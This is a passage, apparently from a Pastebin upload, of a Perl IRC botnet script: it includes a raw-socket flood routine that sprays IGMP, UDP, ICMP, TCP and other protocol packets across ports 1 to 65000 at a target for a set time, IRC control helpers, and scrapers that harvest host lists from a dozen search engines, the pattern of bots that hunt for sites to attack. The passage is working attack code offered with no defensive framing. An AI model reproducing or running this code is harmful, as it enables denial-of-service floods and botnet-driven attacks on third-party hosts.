  3095.  
  3096. my (%pacotes);
  3097.  
  3098. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  3099.  
  3100. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  3101.  
  3102. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  3103.  
  3104. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  3105.  
  3106. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  3107.  
  3108. return(undef) if $cp == 4;
  3109.  
  3110. my $itime = time;
  3111.  
  3112. my ($cur_time);
  3113.  
  3114. while ( 1 ) {
  3115.  
  3116. for (my $porta = 1; $porta <= 65000; $porta++) {
  3117.  
  3118. $cur_time = time - $itime;
  3119.  
  3120. last if $cur_time >= $ftime;
  3121.  
  3122. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  3123.  
  3124. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  3125.  
  3126. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  3127.  
  3128. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  3129.  
  3130. for (my $pc = 3; $pc <= 255;$pc++) {
  3131.  
  3132. next if $pc == 6;
  3133.  
  3134. $cur_time = time - $itime;
  3135.  
  3136. last if $cur_time >= $ftime;
  3137.  
  3138. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  3139.  
  3140. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  3141.  
  3142. }
  3143.  
  3144. }
  3145.  
  3146. last if $cur_time >= $ftime;
  3147.  
  3148. }
  3149.  
  3150. return($cur_time, %pacotes);
  3151.  
  3152. }
  3153.  
  3154.  
  3155.  
  3156. sub ctcp {
  3157.  
  3158. return unless $#_ == 1;
  3159.  
  3160. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  3161.  
  3162. }
  3163.  
  3164.  
  3165.  
  3166. sub msg {
  3167.  
  3168. return unless $#_ == 1;
  3169.  
  3170. sendraw("PRIVMSG $_[0] :$_[1]");
  3171.  
  3172. }
  3173.  
  3174.  
  3175.  
  3176. sub notice {
  3177.  
  3178. return unless $#_ == 1;
  3179.  
  3180. sendraw("NOTICE $_[0] :$_[1]");
  3181.  
  3182. }
  3183.  
  3184.  
  3185.  
  3186. sub op {
  3187.  
  3188. return unless $#_ == 1;
  3189.  
  3190. sendraw("MODE $_[0] +o $_[1]");
  3191.  
  3192. }
  3193.  
  3194.  
  3195.  
  3196. sub deop {
  3197.  
  3198. return unless $#_ == 1;
  3199.  
  3200. sendraw("MODE $_[0] -o $_[1]");
  3201.  
  3202. }
  3203.  
  3204.  
  3205.  
  3206. sub j {
  3207.  
  3208. &join(@_);
  3209.  
  3210. }
  3211.  
  3212.  
  3213.  
  3214. sub join {
  3215.  
  3216. return unless $#_ == 0;
  3217.  
  3218. sendraw("JOIN $_[0]");
  3219.  
  3220. }
  3221.  
  3222.  
  3223.  
  3224. sub p {
  3225.  
  3226. part(@_);
  3227.  
  3228. }
  3229.  
  3230.  
  3231.  
  3232. sub part {
  3233.  
  3234. sendraw("PART $_[0]");
  3235.  
  3236. }
  3237.  
  3238.  
  3239.  
  3240. sub nick {
  3241.  
  3242. return unless $#_ == 0;
  3243.  
  3244. sendraw("NICK $_[0]");
  3245.  
  3246. }
  3247.  
  3248.  
  3249.  
  3250. sub quit {
  3251.  
  3252. sendraw("QUIT :$_[0]");
  3253.  
  3254. }
  3255.  
  3256.  
  3257.  
  3258. sub fetch(){
  3259.  
  3260. my $rnd=(int(rand(9999)));
  3261.  
  3262. my $n= 80;
  3263.  
  3264. if ($rnd<5000) {
  3265.  
  3266. $n<<=1;
  3267.  
  3268. }
  3269.  
  3270. my $s= (int(rand(10)) * $n);
  3271.  
  3272. my @dominios = ("removed-them-all");
  3273.  
  3274. my @str;
  3275.  
  3276. foreach $dom (@dominios){
  3277.  
  3278. push (@str,"@gstring");
  3279.  
  3280. }
  3281.  
  3282. my $query="www.google.com/search?q=";
  3283.  
  3284. $query.=$str[(rand(scalar(@str)))];
  3285.  
  3286. $query.="&num=$n&start=$s";
  3287.  
  3288. my @lst=();
  3289.  
  3290. sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  3291.  
  3292. my $page = http_query($query);
  3293.  
  3294. while ($page =~ m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  3295.  
  3296. if ($1 !~ m/google|cache|translate/){
  3297.  
  3298. push (@lst,$1);
  3299.  
  3300. }
  3301.  
  3302. }
  3303.  
  3304. return (@lst);
  3305.  
  3306.  
  3307.  
  3308. sub yahoo(){
  3309.  
  3310. my @lst;
  3311.  
  3312. my $key = $_[0];
  3313.  
  3314. for($b=1;$b<=1000;$b+=100){
  3315.  
  3316. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  3317.  
  3318. my $Res=query($Ya);
  3319.  
  3320. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  3321.  
  3322. my $k=$1;
  3323.  
  3324. $k=~s/<b>//g;
  3325.  
  3326. $k=~s/<\/b>//g;
  3327.  
  3328. $k=~s/<wbr>//g;
  3329.  
  3330. my @grep=links($k);
  3331.  
  3332. push(@lst,@grep);
  3333.  
  3334. }}
  3335.  
  3336. return @lst;
  3337.  
  3338. }
  3339.  
  3340.  
  3341.  
  3342. sub msn(){
  3343.  
  3344. my @lst;
  3345.  
  3346. my $key = $_[0];
  3347.  
  3348. for($b=1;$b<=1000;$b+=10){
  3349.  
  3350. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  3351.  
  3352. my $Res=query($msn);
  3353.  
  3354. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3355.  
  3356. if($1 !~ /msn|live/){
  3357.  
  3358. my $k=$1;
  3359.  
  3360. my @grep=links($k);
  3361.  
  3362. push(@lst,@grep);
  3363.  
  3364. }}}
  3365.  
  3366. return @lst;
  3367.  
  3368. }
  3369.  
  3370.  
  3371.  
  3372. sub lycos(){
  3373.  
  3374. my $inizio=0;
  3375.  
  3376. my $pagine=20;
  3377.  
  3378. my $key=$_[0];
  3379.  
  3380. my $av=0;
  3381.  
  3382. my @lst;
  3383.  
  3384. while($inizio <= $pagine){
  3385.  
  3386. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  3387.  
  3388. my $Res=query($lycos);
  3389.  
  3390. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  3391.  
  3392. my $k="$1";
  3393.  
  3394. my @grep=links($k);
  3395.  
  3396. push(@lst,@grep);
  3397.  
  3398. }
  3399.  
  3400. $inizio++;
  3401.  
  3402. $av++;
  3403.  
  3404. }
  3405.  
  3406. return @lst;
  3407.  
  3408. }
  3409.  
  3410.  
  3411.  
  3412. #####
  3413.  
  3414. sub aol(){
  3415.  
  3416. my @lst;
  3417.  
  3418. my $key = $_[0];
  3419.  
  3420. for($b=1;$b<=100;$b++){
  3421.  
  3422. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  3423.  
  3424. my $Res=query($AoL);
  3425.  
  3426. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  3427.  
  3428. my $k=$1;
  3429.  
  3430. my @grep=links($k);
  3431.  
  3432. push(@lst,@grep);
  3433.  
  3434. }}
  3435.  
  3436. return @lst;
  3437.  
  3438. }
  3439.  
  3440. #####
  3441.  
  3442.  
  3443.  
  3444. #####
  3445.  
  3446. sub alltheweb()
  3447.  
  3448. {
  3449.  
  3450. my @lst;
  3451.  
  3452. my $key=$_[0];
  3453.  
  3454. my $i=0;
  3455.  
  3456. my $pg=0;
  3457.  
  3458. for($i=0; $i<=1000; $i+=100)
  3459.  
  3460. {
  3461.  
  3462. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  3463.  
  3464. my $Res=query($all);
  3465.  
  3466. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  3467.  
  3468. my $k=$1;
  3469.  
  3470. $k=~s/ //g;
  3471.  
  3472. my @grep=links($k);
  3473.  
  3474. push(@lst,@grep);
  3475.  
  3476. }}
  3477.  
  3478. return @lst;
  3479.  
  3480. }
  3481.  
  3482.  
  3483.  
  3484. sub google(){
  3485.  
  3486. my @lst;
  3487.  
  3488. my $key = $_[0];
  3489.  
  3490. for($b=0;$b<=100;$b+=100){
  3491.  
  3492. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  3493.  
  3494. my $Res=query($Go);
  3495.  
  3496. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3497.  
  3498. if ($1 !~ /google/){
  3499.  
  3500. my $k=$1;
  3501.  
  3502. my @grep=links($k);
  3503.  
  3504. push(@lst,@grep);
  3505.  
  3506. }}}
  3507.  
  3508. return @lst;
  3509.  
  3510. }
  3511.  
  3512.  
  3513.  
  3514. #####
  3515.  
  3516. # SUBS SEARCH
  3517.  
  3518. #####
  3519.  
  3520. sub search(){
  3521.  
  3522. my @lst;
  3523.  
  3524. my $key = $_[0];
  3525.  
  3526. for($b=0;$b<=1000;$b+=100){
  3527.  
  3528. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  3529.  
  3530. my $Res=query($ser);
  3531.  
  3532. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3533.  
  3534. if ($1 !~ /msn|live|google|yahoo/){
  3535.  
  3536. my $k=$1;
  3537.  
  3538. my @grep=links($k);
  3539.  
  3540. push(@lst,@grep);
  3541.  
  3542. }}}
  3543.  
  3544. return @lst;
  3545.  
  3546. }
  3547.  
  3548.  
  3549.  
  3550. #####
  3551.  
  3552. # SUBS FireBall
  3553.  
  3554. #####
  3555.  
  3556. sub fireball(){
  3557.  
  3558. my $key=$_[0];
  3559.  
  3560. my $inicio=1;
  3561.  
  3562. my $pagina=200;
  3563.  
  3564. my @lst;
  3565.  
  3566. my $av=0;
  3567.  
  3568. while($inicio <= $pagina){
  3569.  
  3570. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  3571.  
  3572. my $Res=query($fireball);
  3573.  
  3574. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  3575.  
  3576. if ($1 !~ /msn|live|google|yahoo/){
  3577.  
  3578. my $k="$1/";
  3579.  
  3580. my @grep=links($k);
  3581.  
  3582. push(@lst,@grep);
  3583.  
  3584. }}
  3585.  
  3586. $av=$av+10;
  3587.  
  3588. $inicio++;
  3589.  
  3590. }
  3591.  
  3592. return @lst;
  3593.  
  3594. }
  3595.  
  3596. #####
  3597.  
  3598. # SUBS UOL
  3599.  
  3600. #####
  3601.  
  3602. sub uol(){
  3603.  
  3604. my @lst;
  3605.  
  3606. my $key = $_[0];
  3607.  
  3608. for($b=1;$b<=1000;$b+=10){
  3609.  
  3610. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  3611.  
  3612. my $Res=query($UoL);
  3613.  
  3614. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  3615.  
  3616. my $k=$1;
  3617.  
  3618. if($k!~/busca|uol|yahoo/){
  3619.  
  3620. my $k=$1;
  3621.  
  3622. my @grep=links($k);
  3623.  
  3624. push(@lst,@grep);
  3625.  
  3626. }}}
  3627.  
  3628. return @lst;
  3629.  
  3630. }
  3631.  
  3632.  
  3633.  
  3634. #####
  3635.  
  3636. # Altavista
  3637.  
  3638. #####
  3639.  
  3640. sub altavista(){
  3641.  
  3642. my @lst;
  3643.  
  3644. my $key = $_[0];
  3645.  
  3646. for($b=1;$b<=1000;$b+=10){
  3647.  
  3648. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  3649.  
  3650. my $Res=query($AlT);
  3651.  
  3652. while($Res=~m/<span class=ngrn>(.+?)\//g){
  3653.  
  3654. if($1 !~ /altavista/){
  3655.  
  3656. my $k=$1;
  3657.  
  3658. $k=~s/<//g;
  3659.  
  3660. $k=~s/ //g;
  3661.  
  3662. my @grep=links($k);
  3663.  
  3664. push(@lst,@grep);
  3665.  
  3666. }}}
  3667.  
  3668. return @lst;
  3669.  
  3670. }
  3671.  
  3672.  
  3673.  
  3674. sub altavistade(){
  3675.  
  3676. my @lst;
  3677.  
  3678. my $key = $_[0];
  3679.  
  3680. for($b=1;$b<=1000;$b+=10){
  3681.  
  3682. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  3683.  
  3684. my $Res=query($AlT);
  3685.  
  3686. while($Res=~m/<span class=ngrn>(.+?)\//g){
  3687.  
  3688. if($1 !~ /altavista/){
  3689.  
  3690. my $k=$1;
  3691.  
  3692. $k=~s/<//g;
  3693.  
  3694. $k=~s/ //g;
  3695.  
  3696. my @grep=links($k);
  3697.  
  3698. push(@lst,@grep);
  3699.  
  3700. }}}
  3701.  
  3702. return @lst;
  3703.  
  3704. }
  3705.  
  3706.  
  3707.  
  3708. sub altavistaus(){
  3709.  
  3710. my @lst;
  3711.  
  3712. my $key = $_[0];
  3713.  
  3714. for($b=1;$b<=1000;$b+=10){
  3715.  
  3716. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  3717.  
  3718. my $Res=query($AlT);
  3719.  
  3720. while($Res=~m/<span class=ngrn>(.+?)\//g){
  3721.  
  3722. if($1 !~ /altavista/){
  3723.  
  3724. my $k=$1;
  3725.  
  3726. $k=~s/<//g;
  3727.  
  3728. $k=~s/ //g;
  3729.  
  3730. my @grep=links($k);
  3731.  
  3732. push(@lst,@grep);
  3733.  
  3734. }}}
  3735.  
  3736. return @lst;
  3737.  
  3738. }
  3739.  
  3740.  
  3741.  
  3742. #####
  3743.  
  3744. # HotBot
  3745.  
  3746. #####
  3747.  
  3748. sub hotbot(){
  3749.  
  3750. my @lst;
  3751.  
  3752. my $key = $_[0];
  3753.  
  3754. for($b=0;$b<=1000;$b+=100){
  3755.  
  3756. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  3757.  
  3758. my $Res=query($hot);
  3759.  
  3760. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3761.  
  3762. if ($1 !~ /msn|live|google|yahoo/){
  3763.  
  3764. my $k=$1;
  3765.  
  3766. my @grep=links($k);
  3767.  
  3768. push(@lst,@grep);
  3769.  
  3770. }}}
  3771.  
  3772. return @lst;
  3773.  
  3774. }
  3775.  
  3776.  
  3777.  
  3778.  
  3779.  
  3780. #####
  3781.  
  3782. # Mamma
  3783.  
  3784. #####
  3785.  
  3786. sub mamma(){
  3787.  
  3788. my @lst;
  3789.  
  3790. my $key = $_[0];
  3791.  
  3792. for($b=0;$b<=1000;$b+=100){
  3793.  
  3794. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  3795.  
  3796. my $Res=query($mam);
  3797.  
  3798. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  3799.  
  3800. if ($1 !~ /msn|live|google|yahoo/){
  3801.  
  3802. my $k=$1;
  3803.  
  3804. my @grep=links($k);
  3805.  
  3806. push(@lst,@grep);
  3807.  
  3808. }}}
  3809.  
  3810. return @lst;
  3811.  
  3812. }
  3813.  
  3814.  
  3815.  
  3816. #####
  3817.  
  3818. # MozBot
  3819.  
  3820. #####
  3821.  
  3822. sub mozbot()
  3823.  
  3824. {
  3825.  
  3826. my @lst;
  3827.  
  3828. my $key=$_[0];
  3829.  
  3830. my $i=0;
  3831.  
  3832. my $pg=0;
  3833.  
  3834. for($i=0; $i<=100; $i+=1){
  3835.  
  3836. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  3837.  
  3838. my $Res=query($mozbot);
  3839.  
  3840. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  3841.  
  3842. my $k=$1;
  3843.  
  3844. $k=~s/ //g;
  3845.  
  3846. my @grep=links($k);
  3847.  
  3848. push(@lst,@grep);
  3849.  
  3850. }}
  3851.  
  3852. return @lst;
  3853.  
  3854. }
  3855.  
  3856.  
  3857.  
  3858. sub links()
  3859.  
  3860. {
  3861.  
  3862. my @l;
  3863.  
  3864. my $link=$_[0];
  3865.  
  3866. my $host=$_[0];
  3867.  
  3868. my $hdir=$_[0];
  3869.  
  3870. $hdir=~s/(.*)\/[^\/]*$/\1/;
  3871.  
  3872. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3873.  
  3874. $host.="/";
  3875.  
  3876. $link.="/";
  3877.  
  3878. $hdir.="/";
  3879.  
  3880. $host=~s/\/\//\//g;
  3881.  
  3882. $hdir=~s/\/\//\//g;
  3883.  
  3884. $link=~s/\/\//\//g;
  3885.  
  3886. push(@l,$link,$host,$hdir);
  3887.  
  3888. return @l;
  3889.  
  3890. }
  3891.  
  3892.  
  3893.  
  3894. sub geths(){
  3895.  
  3896. my $host=$_[0];
  3897.  
  3898. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3899.  
  3900. return $host;
  3901.  
  3902. }
  3903.  
  3904.  
  3905.  
  3906. sub key(){
  3907.  
  3908. my $chiave=$_[0];
  3909.  
  3910. $chiave =~ s/ /\+/g;
  3911.  
  3912. $chiave =~ s/:/\%3A/g;
  3913.  
  3914. $chiave =~ s/\//\%2F/g;
  3915.  
  3916. $chiave =~ s/&/\%26/g;
  3917.  
  3918. $chiave =~ s/\"/\%22/g;
  3919.  
  3920. $chiave =~ s/,/\%2C/g;
  3921.  
  3922. $chiave =~ s/\\/\%5C/g;
  3923.  
  3924. return $chiave;
  3925.  
  3926. }
  3927.  
  3928.  
  3929.  
  3930. sub query($){
  3931.  
  3932. my $url=$_[0];
  3933.  
  3934. $url=~s/http:\/\///;
  3935.  
  3936. my $host=$url;
  3937.  
  3938. my $query=$url;
  3939.  
  3940. my $page="";
  3941.  
  3942. $host=~s/href=\"?http:\/\///;
  3943.  
  3944. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3945.  
  3946. $query=~s/$host//;
  3947.  
  3948. if ($query eq "") {$query="/";};
  3949.  
  3950. eval {
  3951.  
  3952. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  3953.  
  3954. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  3955.  
  3956. my @r = <$sock>;
  3957.  
  3958. $page="@r";
  3959.  
  3960. close($sock);
  3961.  
  3962. };
  3963.  
  3964. return $page;
  3965.  
  3966. }
  3967.  
  3968.  
  3969.  
  3970. sub unici{
  3971.  
  3972. my @unici = ();
  3973.  
  3974. my %visti = ();
  3975.  
  3976. foreach my $elemento ( @_ )
  3977.  
  3978. {
  3979.  
  3980. next if $visti{ $elemento }++;
  3981.  
  3982. push @unici, $elemento;
  3983.  
  3984. }
  3985.  
  3986. return @unici;
  3987.  
  3988. }
  3989.  
  3990.  
  3991.  
  3992. sub http_query($){
  3993.  
  3994. my ($url) = @_;
  3995.  
  3996. my $host=$url;
  3997.  
  3998. my $query=$url;
  3999.  
  4000. my $page="";
  4001.  
  4002. $host =~ s/href=\"?http:\/\///;
  4003.  
  4004. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  4005.  
  4006. $query =~s/$host//;
  4007.  
  4008. if ($query eq "") {$query="/";};
  4009.  
  4010. eval {
  4011.  
  4012. local $SIG{ALRM} = sub { die "1";};
  4013.  
  4014. alarm 10;
  4015.  
  4016. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  4017.  
  4018. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  4019.  
  4020. my @r = <$sock>;
  4021.  
  4022. $page="@r";
  4023.  
  4024. alarm 0;
  4025.  
  4026. close($sock);
  4027.  
  4028. };
  4029.  
  4030. return $page;
  4031.  
  4032. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!